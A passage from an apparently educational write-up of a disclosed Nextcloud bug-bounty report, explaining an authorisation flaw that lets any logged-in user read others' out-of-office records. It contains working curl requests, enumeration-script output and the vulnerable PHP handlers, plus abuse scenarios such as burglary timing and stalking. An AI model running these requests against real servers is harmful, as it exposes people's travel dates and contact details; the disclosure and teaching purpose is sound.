  -d "lastDay=2026-01-05" \
  -d "status=On vacation" \
  -d "message=Away on family vacation in Aspen. Cell: 1-555-0123."

# Response: HTTP 200 OK - Data configured successfully
```

Line by line:

- `curl` is the tool making the request.
- `-X POST` says to use the POST method, which is the method for creating or changing something. Here Alice is creating her own absence record.
- The URL `http://localhost:8088/ocs/v2.php/apps/dav/api/v1/outOfOffice/alice` points at the endpoint on the local machine (`localhost`) on port `8088`, naming `alice` in the path.
- `-H "Authorization: Bearer ..."` adds a **header**, which is extra information attached to a request. `Authorization` is the header that carries proof of identity, and `Bearer` means "the following token is the key". The token here is Alice's app password, so the server knows the request comes from Alice.
- `-H "OCS-APIRequest: true"` tells Nextcloud that this is an OCS API call. Nextcloud uses this header to decide how to format the response.
- `-H "Content-Type: application/x-www-form-urlencoded"` says the body of the request is formatted like a web form, which is the format the `-d` options produce.
- Each `-d "name=value"` adds one field to the request body: the first day, the last day, a short status and a free-text message.
- The `# Response:` comment records that the server answered with HTTP 200, which means success.

Why this step: the bug is about reading someone else's data, so there has to be some data to read. Alice writes her own record with her own token, which is the legitimate use of the feature. The message deliberately contains data a real user might put there: a destination and a phone number. That makes the later leak concrete rather than abstract, because you can see exactly what kind of personal information escapes.

### Step 4: Read Alice's data as Bob

```bash
curl -s "http://localhost:8088/ocs/v2.php/apps/dav/api/v1/outOfOffice/alice" \
  -H "Authorization: Bearer [redacted]" \
  -H "OCS-APIRequest: true"
```

Line by line:

- `curl -s` makes the request; `-s` means silent, so curl does not print its own progress meter and you only see the server's answer.
- The URL still names `alice` in the path.
- The `Authorization` header now carries Bob's token, not Alice's. This is the heart of the test: the identity is Bob, the requested object is Alice's.
- `OCS-APIRequest: true` is the same Nextcloud header as before.

Why this step: this is the actual attack. Bob is a normal logged-in user, and he simply changes the name in the address to someone else's. If the server checked ownership, it would refuse. The report states that the expected behaviour is HTTP 403 Forbidden, which is the standard "you are not allowed to do this" answer. The actual behaviour is HTTP 200 with the full record:

```json
{
  "ocs": {
    "meta": {
      "status": "ok",
      "statuscode": 200,
      "message": "OK"
    },
    "data": {
      "id": 1,
      "userId": "alice",
      "firstDay": "2025-12-20",
      "lastDay": "2026-01-05",
      "status": "On vacation",
      "message": "Away on family vacation in Aspen. Cell: 1-555-0123.",
      "replacementUserId": "",
      "replacementUserDisplayName": ""
    }
  }
}
```

Reading the JSON: the outer `ocs` box holds a `meta` section describing the result (status ok, status code 200, message OK) and a `data` section holding the actual record. Inside `data`, `id` is the record's internal number, `userId` is whose record it is, `firstDay` and `lastDay` are the absence dates, `status` is the short label, `message` is the free text, and `replacementUserId` and `replacementUserDisplayName` identify the person covering. The response confirms the leak: vacation dates from 20 December 2025 to 5 January 2026, the destination Aspen, the phone number and the 17-day absence period. The replacement fields are empty in this record.

### Step 5: Check the real-time endpoint

```bash
curl -s "http://localhost:8088/ocs/v2.php/apps/dav/api/v1/outOfOffice/alice/now" \
  -H "Authorization: Bearer [redacted]" \
  -H "OCS-APIRequest: true"
```

Line by line:

- This is the same request as Step 4, with `/now` added to the end of the path.
- The token is still Bob's.
- The headers are unchanged.

Why this step: the first endpoint returns the stored record, which tells you the planned dates. The `/now` variant answers a different question: is this person absent right now? The report states that it returns Alice's current absence status to Bob, again without an authorisation check. Testing both matters because a fix applied to one endpoint might miss the other, and because the real-time answer is the one an attacker would poll repeatedly to track someone's movements.

### Step 6: Enumerate users at scale

Doing this by hand for one user proves the bug. Doing it for many users shows the scale of the problem. **Enumeration** means going through a list of names one by one and recording what comes back. The researcher ran an automated Python script, `exploit_bola.py`, against a list of five users:

```bash
# Using the provided exploit_bola.py script
uv run python exploit_bola.py

# Output:
# ============================================================
# Nextcloud Out-of-Office BOLA Exploit
# ============================================================
# [*] Starting enumeration of 5 users...
# [*] Checking: admin... ❌ No data
# [*] Checking: alice... �
 OUT OF OFFICE FOUND
#     First Day: 2025-12-20
#     Last Day: 2026-01-05
#     Message: Away on family vacation in Aspen. Cell: 1-555-0123.
# [*] Checking: bob... ❌ No data
# [*] Checking: charlie... ❌ No data
# [*] Checking: dave... ❌ No data
#
# [+] Extracted OOO data for 1 users
# [+] Results saved to: ooo_leak.json
```

Line by line:

- `# Using the provided exploit_bola.py script` is a comment saying which script was run.
- `uv run python exploit_bola.py` runs the script. `uv` is a tool that runs Python programs with their dependencies handled automatically, and `python exploit_bola.py` is the ordinary way to run a Python file.
- Everything after `#` is the script's own output, shown here as comments so the whole block stays a single shell snippet.
- The banner lines with `====` are decoration.
- `[*] Starting enumeration of 5 users...` says the script is about to try five usernames.
- Each `[*] Checking: <name>...` line reports one attempt. `admin`, `bob`, `charlie` and `dave` produced no data; `alice` produced a record, and the script prints her first day, last day and message.
- `[+] Extracted OOO data for 1 users` is the summary: one record found.
- `[+] Results saved to: ooo_leak.json` says the results were written to a file.

Why this step: a single successful read can be dismissed as a one-off. A script that walks a list of usernames and saves everything it finds shows that the flaw is systematic and that the data can be collected in bulk. The exported file:

```json
{
  "alice": {
    "id": 1,
    "userId": "alice",
    "firstDay": "2025-12-20",
    "lastDay": "2026-01-05",
    "status": "On vacation",
    "message": "Away on family vacation in Aspen. Cell: 1-555-0123.",
    "replacementUserId": "",
    "replacementUserDisplayName": ""
  }
}
```

This is the same record as before, now keyed by username in a file. **Exfiltration** is the word for moving data out of the system where it lives; here it simply means the script wrote the stolen records to a local file. The report states that this demonstrates mass enumeration and data exfiltration capability.

## Root cause

**Root cause** means the underlying mistake in the code that makes the bug possible, as opposed to the symptom you see in the response. The vulnerable read handler is:

```php
#[NoAdminRequired]
#[ApiRoute(verb: 'GET', url: '/api/v1/outOfOffice/{userId}')]
public function getOutOfOffice(string $userId): DataResponse {
    try {
        // ⚠️ VULNERABILITY: No ownership validation
        // Missing check: if ($this->userId !== $userId) { return new DataResponse([], Http::STATUS_FORBIDDEN); }

        $data = $this->absenceService->getAbsence($userId);

        if ($data === null) {
            return new DataResponse([], Http::STATUS_NOT_FOUND);
        }
    } catch (DoesNotExistException) {
        return new DataResponse([], Http::STATUS_NOT_FOUND);
    }

    return new DataResponse([
        'id' => $data->getId(),
        'userId' => $data->getUserId(),
        'firstDay' => $data->getFirstDay(),
        'lastDay' => $data->getLastDay(),
        'status' => $data->getStatus(),
        'message' => $data->getMessage(),  // ⚠️ May contain sensitive personal information
        'replacementUserId' => $data->getReplacementUserId(),
        'replacementUserDisplayName' => $data->getReplacementUserDisplayName(),
    ]);
}
```

Line by line, in plain words:

- `#[NoAdminRequired]` is the label that lets any logged-in user call this handler.
- `#[ApiRoute(verb: 'GET', url: '/api/v1/outOfOffice/{userId}')]` registers the handler at that URL for GET requests, with `{userId}` as the placeholder.
- `public function getOutOfOffice(string $userId): DataResponse {` defines the handler. It receives the `userId` taken from the URL and promises to return a `DataResponse`, which is Nextcloud's wrapper for a JSON answer.
- `try {` starts a block where errors can be caught.
- The comment marked with a warning symbol states the problem: there is no ownership validation. The commented-out line shows the check that is missing: if the logged-in user's ID is not the same as the requested `userId`, return a forbidden response.
- `$data = $this->absenceService->getAbsence($userId);` asks the absence service for the record belonging to whatever `userId` was supplied. This is the moment the data is fetched, and it is fetched for the requested name, not for the caller.
- `if ($data === null) { return new DataResponse([], Http::STATUS_NOT_FOUND); }` handles the case where no record exists, answering 404 Not Found.
- `} catch (DoesNotExistException) { ... }` catches the internal "this does not exist" error and also answers 404.
- The final `return new DataResponse([ ... ]);` builds the JSON answer, copying each field out of the record: the ID, the user ID, the first and last day, the status, the message (with a warning comment noting it may contain sensitive personal information), and the replacement user's ID and display name.

And the real-time handler:

```php
#[NoAdminRequired]
#[ApiRoute(verb: 'GET', url: '/api/v1/outOfOffice/{userId}/now')]
public function getCurrentOutOfOfficeData(string $userId): DataResponse {
    $user = $this->userManager->get($userId);

    if ($user === null) {
        return new DataResponse([], Http::STATUS_NOT_FOUND);
    }

    try {
        // ⚠️ VULNERABILITY: No ownership validation
        $data = $this->absenceService->getCurrentAbsence($user);

        if ($data === null) {
            return new DataResponse([], Http::STATUS_NOT_FOUND);
        }
    } catch (DoesNotExistException) {
        return new DataResponse([], Http::STATUS_NOT_FOUND);
    }

    return new DataResponse($data->jsonSerialize());
}
```

Line by line:

- The two labels register this handler at the `/now` URL and allow any logged-in user to call it.
- `$user = $this->userManager->get($userId);` looks up the account named in the URL. The user manager is the part of Nextcloud that knows about accounts.
- `if ($user === null) { ... }` answers 404 if no such account exists.
- Inside the `try`, the warning comment again marks the missing ownership check, and `$this->absenceService->getCurrentAbsence($user)` fetches the current absence for that looked-up user.
- A missing record is answered with 404, and the catch block does the same for the internal error.
- `return new DataResponse($data->jsonSerialize());` returns the record, converted to JSON by the record's own `jsonSerialize` method.

Both trust the `userId` path parameter as the subject of the query. The only checks are existence checks: a missing record or unknown user yields 404, which tells the caller whether a given account has absence data configured. The routes are registered in `apps/dav/appinfo/routes.php` (lines 12-18).

The write handler in the same controller shows the correct pattern:

```php
#[NoAdminRequired]
#[ApiRoute(verb: 'POST', url: '/api/v1/outOfOffice')]
public function setOutOfOffice(...): DataResponse {
    // �
 SECURE: Gets current user from session
    $user = $this->userSession?->getUser();

    if ($user === null) {
        return new DataResponse([], Http::STATUS_UNAUTHORIZED);
    }

    // Only operates on authenticated user's own data
    $data = $this->absenceService->createOrUpdateAbsence($user, ...);
    return new DataResponse($data->jsonSerialize());
}
```

Line by line:

- The labels register this handler for POST requests at `/api/v1/outOfOffice`, with no `{userId}` in the URL at all.
- `$user = $this->userSession?->getUser();` asks the session who is logged in. The `?->` means "if there is a session, call getUser on it, otherwise give null". The identity comes from the session, which the caller cannot forge.
- `if ($user === null) { ... }` answers 401 Unauthorized if nobody is logged in.
- `$this->absenceService->createOrUpdateAbsence($user, ...)` creates or updates the record for that session user, and only that user.
- The final line returns the saved record as JSON.

It derives the subject from the session and never from the request, so a caller can only write their own record. The GET handlers should follow the same approach. `#[NoAdminRequired]` is not a defence here: it is an authorisation relaxation that assumes the controller will do its own object-level check, and the controller does not. **Authorisation** is the decision about what a logged-in user is allowed to do; **authentication** is only the proof of who they are. This bug is a failure of authorisation after authentication succeeded.

## Impact

**Impact** means what an attacker can actually do with the bug, and why anyone should care. Any authenticated account can enumerate the out-of-office data of every user on the instance and read, per user:

- vacation start and end dates;
- the personal absence message, which may contain phone numbers, travel destinations or health information;
- replacement contact user IDs and display names;
- real-time absence status via the `/now` endpoint.

The report frames the consequences as social engineering, physical security threats (knowing when a home is empty) and corporate intelligence gathering. **Social engineering** means manipulating a person into doing something or revealing something, usually by sounding plausible. It lists five scenarios with its own likelihood ratings:

1. Physical security, rated MEDIUM-HIGH: enumerate executives' absence dates, cross-reference public information to find a home address and plan a burglary during a confirmed absence.
2. Social engineering, rated HIGH: use a discovered message such as maternity leave to impersonate an insurance provider calling HR.
3. Corporate espionage, rated MEDIUM: a competitor with a self-registered account enumerates an R&D department, learns when engineers are at a conference and phishes replacement contacts.
4. Stalking or harassment, rated MEDIUM: continuous monitoring of a victim's status and travel patterns.
5. Insider threat, rated HIGH: a low-privilege employee maps management absence patterns and escalation chains through replacement fields.

The report also discusses compliance exposure. **Compliance** here means the legal rules about personal data. Under GDPR, the European data protection regulation, it treats the flaw as a personal data breach under Article 4(12), a failure of Article 32 security of processing with the 72-hour notification duty of Article 33 and fines under Article 83; Article 9 special-category data may be involved when messages mention health or family status, which would bring Article 83(5) penalties. For CCPA/CPRA, the California privacy laws, it notes possible government enforcement and civil penalties, while private right of action is limited to the specific data elements in Cal. Civ. Code § 1798.81.5(d), so generic vacation dates and phone numbers typically do not trigger it. HIPAA, the US health-data law, applies only to covered entities and business associates, and many corporate Nextcloud deployments are not HIPAA-regulated; where it does apply, messages such as chemotherapy leave become PHI, protected health information, with tiered civil monetary penalties and HITECH breach notification.

The report's own technical summary rates confidentiality HIGH, privacy CRITICAL, compliance HIGH and physical security MEDIUM, with no integrity or availability impact. **Confidentiality** means keeping data secret; **integrity** means keeping it unaltered; **availability** means keeping the service working. Only confidentiality is affected here, because the bug reads data and changes nothing. The platform records the issue as medium severity with a CVSS score of 6.5. **CVSS** is a standard scoring system that turns the characteristics of a flaw into a number, so different teams can compare severity consistently.

## Fix

The report does not describe a patch. What it asks for is the ownership check the code comment spells out: compare the authenticated user with the `userId` path parameter and return `Http::STATUS_FORBIDDEN` on mismatch, in both `getOutOfOffice` and `getCurrentOutOfOfficeData`. The alternative, matching the secure write handler, is to drop the path parameter for the caller's own record and take the user from `$this->userSession?->getUser()`. In plain terms: the server should answer "not yours" before it answers "not found", so that an outsider cannot use the difference between those two answers to map out who exists.

## Variants to test

A **variant** is a nearby version of the same mistake in a different place. Once you understand one BOLA, you look for its siblings:

- Other DAV and OCS endpoints that take a user ID in the path or query string. A positive result is a 200 with another account's data while authenticated as a different user.
- The `/now` style sub-resource on any feature (status, availability, calendar free/busy). A positive result is a live status for a user you do not own.
- Write endpoints that accept a user identifier in the body rather than the session. A positive result is a successful modification of another account's record.
- Existence oracles: compare 404 and 403 responses across known and unknown usernames to see whether account or record existence can be enumerated even after the data itself is protected. An **oracle** in this sense is any behaviour that answers a question you were not supposed to be able to ask.
- Replacement contact fields: check whether a replacement user ID can be set to an account the caller does not control, and whether that leaks anything about the replacement.

## Hunting notes

**Hunting** means looking for bugs deliberately, rather than waiting for one to appear. This class of bug hides in features that were added with a per-user resource and a path parameter, especially where the same controller has a correctly scoped write method: the asymmetry between the POST handler reading the session and the GET handlers reading the URL is the signal. When one method in a file does the safe thing and its neighbour does not, that difference is worth investigating. `#[NoAdminRequired]` on a handler that takes an object identifier is worth a second look, because the attribute only says the caller need not be an admin, not that the object belongs to them.

During recon, look for OCS routes of the form `/apps/<app>/api/v1/<resource>/{userId}` and for controllers whose methods accept a user ID argument. **Recon**, short for reconnaissance, is the survey phase where you map what the software exposes before trying anything. Reading the controller source, as the researcher did here, is usually enough to spot the missing comparison before any request is sent. That is the efficient order: read first, then test only what looks promising.

To show impact, the researcher combined a two-account proof (Bob reading Alice's record with Bob's token) with a scripted enumeration over several usernames and an exported JSON file, and populated the victim's message with realistic sensitive content so the disclosure was concrete rather than theoretical. The report also maps the data to compliance frameworks.

## Glossary

- **API**: a way for one piece of software to ask another for data or actions, usually returning structured data such as JSON.
- **Endpoint**: one address on a server that accepts a particular kind of request.
- **Path parameter**: a value placed inside the URL itself, such as the username in `/outOfOffice/alice`.
- **Handler**: the function in the code that runs when a request reaches an endpoint.
- **Controller**: the part of a web application that receives a request, decides what to do and builds the response.
- **GET**: the HTTP method used to read something.
- **POST**: the HTTP method used to create or change something.
- **Header**: extra information attached to a request, such as proof of identity or the format of the body.
- **JSON**: a text format for structured data, made of labelled values inside braces.
- **OCS**: Nextcloud's own API convention, recognisable by `/ocs/` in the URL.
- **DAV**: a standard way of exposing calendars, contacts and similar resources over HTTP.
- **Out-of-Office (OOO)**: the Nextcloud feature that records when a user is away, their message and their replacement.
- **BOLA (Broken Object Level Authorization)**: a flaw where the server checks that you are logged in but not that the specific object you asked for belongs to you.
- **IDOR (Insecure Direct Object Reference)**: another name for the same idea, where an identifier in the request is used directly without an ownership check.
- **Authentication**: proving who you are, for example by logging in or presenting a token.
- **Authorisation**: deciding what an authenticated user is allowed to do or see.
- **Session**: the server's memory of who you are after login, tied to your browser or token and not to anything you type into a URL.
- **Token**: a long random string that acts as a key, sent instead of a password with each request.
- **App password**: a token created for a specific application or script, which can be revoked without changing the account password.
- **Bearer**: a header scheme meaning "the following token is the key".
- **`#[NoAdminRequired]`**: a Nextcloud code label meaning any logged-in user may call the handler, with no administrator role needed.
- **Environment variable**: a named value passed to a program from outside, often used to avoid putting secrets on the command line.
- **Docker**: a tool that runs software in isolated containers, useful for building throwaway test servers.
- **Container**: one isolated running instance of software managed by Docker.
- **MariaDB**: the database software that stores Nextcloud's data.
- **`occ`**: Nextcloud's command-line administration tool.
- **`curl`**: a command-line tool for making web requests.
- **HTTP 200**: the standard answer meaning the request succeeded.
- **HTTP 403**: the standard answer meaning you are not allowed to do this.
- **HTTP 404**: the standard answer meaning the thing you asked for does not exist.
- **HTTP 401**: the standard answer meaning you have not proved who you are.
- **Enumeration**: going through a list of names one by one and recording what comes back.
- **Exfiltration**: moving data out of the system where it lives.
- **Root cause**: the underlying mistake in the code that makes the bug possible.
- **Impact**: what an attacker can actually do with the bug and why it matters.
- **Confidentiality**: keeping data secret from those not allowed to see it.
- **Integrity**: keeping data unaltered.
- **Availability**: keeping a service working and reachable.
- **Social engineering**: manipulating a person into doing something or revealing something by sounding plausible.
- **Compliance**: the legal and regulatory rules about handling personal data.
- **GDPR**: the European data protection regulation, with articles covering breaches, security and fines.
- **CCPA/CPRA**: the California privacy laws, with government enforcement and limited private lawsuits.
- **HIPAA**: the US law protecting health information, applying only to covered entities and business associates.
- **PHI**: protected health information, health data covered by HIPAA.
- **CVSS**: a standard scoring system that turns a flaw's characteristics into a comparable number.
- **Variant**: a nearby version of the same mistake in a different place.
- **Oracle**: any behaviour that answers a question you were not supposed to be able to ask, such as a 404 versus a 200 revealing whether an account exists.
- **Recon**: reconnaissance, the survey phase where you map what the software exposes before testing.
- **Hunting**: looking for bugs deliberately rather than waiting for them to appear.

More by cyberjoker

View all

3 more disclosed reports, best first.

More from Nextcloud

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Insecure direct object reference (IDOR)

The lesson behind this report.

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.